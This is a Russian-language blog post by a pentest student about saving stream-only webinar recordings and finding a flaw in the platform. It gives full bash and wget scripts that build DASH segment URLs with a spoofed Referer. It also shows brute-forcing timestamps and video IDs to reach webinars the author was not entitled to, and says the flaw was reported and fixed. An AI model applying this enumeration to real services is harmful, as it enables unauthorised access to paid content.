03.12.2015 @ 12:49 Сохраняем потоковое видео и находим уязвимость в сервисе вебинаров web security, webinar Эта история о том, как в ходе решения одной абсолютно приземленной задачи можно получить нечто большее, а именно: разобраться в работе нескольких технологий, другими словами, прокачать свои скилы… и в конце случайно найти небольшую уязвимость. Преамбула Посчастливилось мне обучаться пентесту. Первый этап обучения (начальная подготовка) прошел в декабре 2014 года, второй (профессиональная подготовка) — в июне 2015. Обучение дистанционное: теория в формате вебинаров, практика в формате CTF-заданий (не тот Capture The Flag, что в Quake, а тот, что в информационной безопасности). Примерный план обучения был такой: в выходные на вебинарах ты получаешь вагон и маленькую тележку теории, а затем, в будни, применяешь полученные знания на практике, выполняя CTF. И так несколько недель подряд. Вся мощь обучения именно в практической части: ломаешь голову, шевелишь извилинами, потеешь мозгом. В поисках очередного флага не раз пересматриваешь записи вебинаров в надежде найти зацепку. Ближе к делу: в декабре 2014 организаторы предоставляли записи вебинаров в виде простых файлов, а к июню у них уже была своя площадка для вебинаров, где в распоряжении студентов только потоковое вещание записей без возможности сохранить видео. Тут то и проявились все недостатки потокового вещания: при перемотке раздражающая задержка, картинка рассыпается. А перематывать при просмотре двухчасового вебинара в надежде найти нужный момент нужно очень часто. Задача №1: сохранить записи 12 вебинаров в виде обычных файлов, чтобы холодными зимними (или летними) вечерами пересматривать их в теплом-ламповом Media Player Classic (ваш любимый медиа-плеер здесь). Самый простой способ — запустить просмотр записи вебинара в браузере, при этом захватить видео с экрана, а звук со звуковой карты. Для этого есть множество утилит и имя им — легион. На выходе мы получим видео низкого качества и файл большого объема: разрешение видео и его кодек не будут соответствовать тому, в котором ведущий вебинара производил запись. Для сохранения записи вебинара таким способом потребуется время равное длительности самого вебинара. Именно поэтому этот способ — самый неинтересный, самый неинтеллектуальный и самый неэффективный. И именно поэтому я не стал двигаться по этому пути и не буду описывать этот способ здесь. Как же сохранить видео в оригинальном качестве, если вебинар-площадка не позволяет этого сделать? Раз уж я учусь пентесту, то почему бы не применить получаемые знания прямо здесь? Начинать надо с Recon и Research :). Разведка и исследование Первым делом я попробовал найти файлы в кэше браузера, затем — захват потока с сетевой карты. Для этого есть немало специализированных утилит (например, от NirSoft, еще уйма гуглится по сопуствующим ключевым словам), но ни одна из них не смогла обработать и собрать поток, используемый на этой вебинар-площадке. Или «я просто не умею их готовить». Во время самих вебинаров можно было заметить, что для вещания (и по всей видимости для записи в файл) используется Open Broadcaster Software. Посмотреть содержимое https нам поможет любой перехватывающий прокси, например, Fiddler. Смотрим в код страницы со списком видео с записями вебинаров. Вот строки, вызывающие функцию generatePlayer. ... <div class="msg_text" style="cursor: pointer;" onclick="generatePlayer(2, 87, '6IPdc0Ch7Do3vkewqdPrD7d0NHjam9mL1kmtGio4');"> ... <div class="msg_text" style="cursor: pointer;" onclick="generatePlayer(2, 88, '6IPdc0Ch7Do3vkewqdPrD7d0NHjam9mL1kmtGio4');"> ... <div class="msg_text" style="cursor: pointer;" onclick="generatePlayer(2, 89, '6IPdc0Ch7Do3vkewqdPrD7d0NHjam9mL1kmtGio4');"> ... Вторым параметром, по всей видимости, передается ID записи вебинара: мы имеем доступ к вебинарам с ID от 87 до 99. Далее — изучаем саму функцию generatePlayer, отвечающую за появление плеера на страницах вебинар-сервиса. function generatePlayer(channel_id, video_id, token){ if($('#stream.video-js').length){ videojs('stream').dispose(); } playerBridge = null; var flashvars = {}; // absolut URL to sintel.mpd file flashvars.src = encodeURIComponent("https://somewebinarsservice.ru/ch/"+channel_id+"/video/"+video_id+"/index.mpd?token="+channel_id+'|'+token+'|'+video_id); // absolut URL to dashas.swf file flashvars.plugin_DashPlugin = encodeURIComponent("https://somewebinarsservice.ru/dashas.swf"); flashvars.javascriptCallbackFunction = "onJavaScriptBridgeCreated"; var params = {}; params.allowfullscreen = "true"; params.allownetworking = "true"; params.wmode = "direct"; $('.vjs-panel-bar').css('display','none'); $('#videocontent').remove(); $('.wrapper').append('<div id="videocontent" style="vertical-align: middle; display: table-cell;"><p><span>Please install <a href="http://get.adobe.com/flashplayer/">Adobe Flash Player</a></span></p></div>'); swfobject.embedSWF("/StrobeMediaPlayback.swf", "videocontent", "800", "600", "10.1", "/expressInstall.swf", flashvars, params, {}); var window_height = $(window).height(); $('#videocontent').css('height', (window_height - 50) + 'px'); $('#videocontent').css('width', '100%'); } Из строки 8 получаем информацию об алгоритме формирования URL потока. Из строк 10, 11, 20 — информацию о используемых компонентах (DashPlugin, StrobeMediaPlayback). Смотрим внутрь mpd файла: <?xml version=”1.0"?> <MPD xmlns=”urn:mpeg:dash:schema:mpd:2011" minBufferTime=”PT1.500S” type=”static” mediaPresentationDuration=”PT1H7M32.572S” maxSegmentDuration=”PT0H0M3.000S” profiles=”urn:mpeg:dash:profile:full:2011"> <ProgramInformation moreInformationURL=”http://gpac.sourceforge.net"> </ProgramInformation> <Period duration=”PT1H7M32.572S”> <AdaptationSet segmentAlignment=”true” maxWidth=”1680" maxHeight=”1050" maxFrameRate=”7" par=”8:5" lang=”und”> <Representation id=”1" mimeType=”video/mp4" codecs=”avc1.640028" width=”1680" height=”1050" frameRate=”7" sar=”1:1" startWithSAP=”0" bandwidth=”181698"> <SegmentTemplate timescale=”7" media=”video-2–1434886790_21–06–15–14_39_50_$Number$.m4s” startNumber=”1" duration=”21" initialization=”video-2–1434886790_21–06–15–14_39_50_init.mp4"/> </Representation> </AdaptationSet> <AdaptationSet segmentAlignment=”true” lang=”und”> <Representation id=”2" mimeType=”audio/mp4" codecs=”mp4a.40.2" audioSamplingRate=”44100" startWithSAP=”1" bandwidth=”131475"> <AudioChannelConfiguration schemeIdUri=”urn:mpeg:dash:23003:3:audio_channel_configuration:2011" value=”2"/> <SegmentTemplate timescale=”44100" media=”audio-2–1434886790_21–06–15–14_39_50_$Number$.m4s” startNumber=”1" duration=”132076" initialization=”audio-2–1434886790_21–06–15–14_39_50_init.mp4"/> </Representation> </AdaptationSet> </Period> </MPD> Ага, в строке 3 видим ссылку на некий GPAC (is a full framework providing authoring tools, packagers, streamers, a player and now some js stuff). Скачиваем и устанавливаем. Строки 9 и 15 дают нам следующую информацию: аудио и видео дорожки передаются отдельными файлами — сегментами; файлы каждого вебинара именуются по шаблону, например, video-2–1434886790_21–06–15–14_39_50_$Number$.m4s скорее всего обозначает [видео|аудио]-[номер канала]-[время первого сегмента в формате unixtime]_[время первого сегмента]_[номер по порядку].m4s самый первый инициализирующий сегмент вместо номера имеет строку «init«, а расширение у него mp4. Скачиваем первое видео Скачать эти файлы просто так не получается. Тогда мы берем из перехватывающего прокси параметр запроса Referer, а в файл linksgood.txt заносим URL нескольких интересующих нас файлов. wget.exe --no-check-certificate --referer=https://somewebinarsservice.ru/StrobeMediaPlayback.swf -o wget.log -i linksgood.txt Работает! Имеем несколько мелких файлов. Теперь задача — запихнуть в файл linksgood.txt URL нескольких тысяч нужных нам файлов. Здесь нам поможет bash. #!/usr/bin/env bash ts=1434886790_21–06–15–14_39_50 ch=2 vi=88 echo https://somewebinarsservice.ru/ch/$ch/video/$vi/audio-$ch-$ts\_init.mp4 echo https://somewebinarsservice.ru/ch/$ch/video/$vi/video-$ch-$ts\_init.mp4 for i in {1..2500}; do echo https://somewebinarsservice.ru/ch/$ch/video/$vi/audio-$ch-$ts\_$i.m4s echo https://somewebinarsservice.ru/ch/$ch/video/$vi/video-$ch-$ts\_$i.m4s done Опытным путем выясняем, что средний вебинар продолжительностью 1,5 часа состоит из ~3000 файлов. Генерим ссылок в файл с запасом, wget скачает все до последнего сегмента. Склеиваем видео Поскольку моя хостовая ОС в данном случае Windows, то скачивал и склеивал файлы я в ней. Где-то на просторах попалась информация о том, что сегменты достаточно объединить последовательным копированием в один файл (отдельно для аудио и видео дорожек). Все оказалось именно так. Для склейки аудио и видео дорожек воспользуемся утилитой из набора GPAC, который мы установили ранее. Батничек с кучей костылей для склейки: :: Concat dash stream segments :: Author sid.vishez@gmail.com @echo off set fname=D:\temp\cl3\wget\27_3 :: https://somewebinarsservice.ru/ch/2/video/88/video-2-1434279945_14-06-15-14_05_45_init.mp4 :: set vname=NS :: set template=2-1434279945_14-06-15-14_05_45 mkdir %fname%\%template% mkdir %fname%\%template%\segs echo move segments move %fname%\audio-%template%_init.mp4 %fname%\%template%\segs move %fname%\audio-%template%_*.m4s %fname%\%template%\segs move %fname%\video-%template%_init.mp4 %fname%\%template%\segs move %fname%\video-%template%_*.m4s %fname%\%template%\segs echo concat audio segments copy /B %fname%\%template%\segs\audio-%template%_init.mp4 %fname%\%template%\audio.mp4 >>nul FOR /L %%G IN (1,1,2500) DO ( if exist %fname%\%template%\segs\audio-%template%_%%G.m4s copy /B %fname%\%template%\audio.mp4+%fname%\%template%\segs\audio-%template%_%%G.m4s %fname%\%template%\audio.mp4 >>nul if %errorlevel% NEQ 0 echo The error occured ) "C:\Program Files\GPAC\mp4box.exe" -inter 500 %fname%\%template%\audio.mp4 -out %fname%\%template%\audio2.mp4 echo concat video segments copy /B %fname%\%template%\segs\video-%template%_init.mp4 %fname%\%template%\video.mp4 >>nul FOR /L %%G IN (1,1,2500) DO ( if exist %fname%\%template%\segs\video-%template%_%%G.m4s copy /B %fname%\%template%\video.mp4+%fname%\%template%\segs\video-%template%_%%G.m4s %fname%\%template%\video.mp4 >>nul if %errorlevel% NEQ 0 echo The error occured ) "C:\Program Files\GPAC\mp4box.exe" -inter 500 %fname%\%template%\video.mp4 -out %fname%\%template%\video2.mp4 echo concat video and audio "C:\Program Files\GPAC\mp4box.exe" -add %fname%\%template%\video2.mp4 -add %fname%\%template%\audio2.mp4 %fname%\%template%\%template%_%vname%.mp4 На выходе имеем один файл в исходном качестве. Уязвимость или нет? Мы сохранили все 12 вебинаров (ID с 87 по 99), которые площадка предоставляла только для онлайн-просмотра. Можно ли считать это уязвимостью? По мне — только с очень большой натяжкой. Хоть разработчики и усложнили задачу (https, referrer), но мы всего лишь получили ту информацию, к которой и так имели доступ. Но теперь мы знаем по какой схеме формируются url. Что если проверить вебинар-площадку на предмет уязвимостей посерьезней? Например, слабость к брутфорсу, которая позволит получить доступ к вебинарам, к которым через веб-интерфейс у нас доступа нет? Только проверить, и в случае успеха, сразу сообщить разработчикам ;-) Проводим брутфорс На веб-сайте компании, проводящей обучение, в публичном доступе находится расписание вебинаров с планируемым временем начала. Задача проста, найти два параметра — ID видео и timestamp (время начала вебинара с точностью до секунды). timestamp перебираем по алгоритму «-n секунд, +n секунд», где n от 0 до 300 (5 минут). #!/usr/bin/env bash ut=1435497060 for t in {0..300}; do utsm=$[$ut - $t] utsp=$[$ut + $t] for uts in $utsm $utsp; do echo $uts\_$(date -d @$uts +%d-%m-%y-%H_%M_%S) done done Записываем результаты выполнения в файл с именем times28_3_3.txt, например. ID следующего вебинара, планируемое время начала которого нам известно, вероятно находится в небольшом диапазоне от 100 до 105. Создаем список URL для скачивания wget-ом. #!/usr/bin/env bash ch=2 for vi in {100..105}; do while read ts; do echo https://somewebinarsservice.ru/ch/$ch/video/$vi/audio-$ch-$ts\_init.mp4 done <times28_3_3.txt done Скармливаем этот список wget-у. wget.exe --no-check-certificate --referer=https://somewebinarsservice.ru/StrobeMediaPlayback.swf -Q 1 -o wget.log -i linkstry.txt Параметр -Q задает квоту в байтах, т.е. после скачивания первого файла wget завершит свою работу. После того, как мы нашли этот первый файл (имя заканчивается на _init.mp4), остается только скачать остальные сегменты, как мы делали это раньше с доступными нам вебинарами. Преимущество запуска одного экземпляра wget и передачи в него списка ссылок заключается в том, что в этом случае wget не устанавливает соединение для каждого нового URL, процесс поиска нужного файла происходит очень быстро — от 0 до 5 минут. Эта уязвимость позволяла злоумышленнику скачивать любые вебинары, расписание которых доступно через сайт. Но мы не такие :) Уязвимость нашли, сообщили о ней разработчикам, они ее закрыли. Как закрыли — не знаю, не уточнял. Но вариантов много. Например, можно добавить в имя файла кроме ID и timestamp еще нечто уникальное. Защититься же от скачивания вебинаров, к которым студенты имеют доступ, сложнее. Но, насколько я знаю, эта защита также усилена. SverdlovKonstantin 32174 Web security Читать дальше >>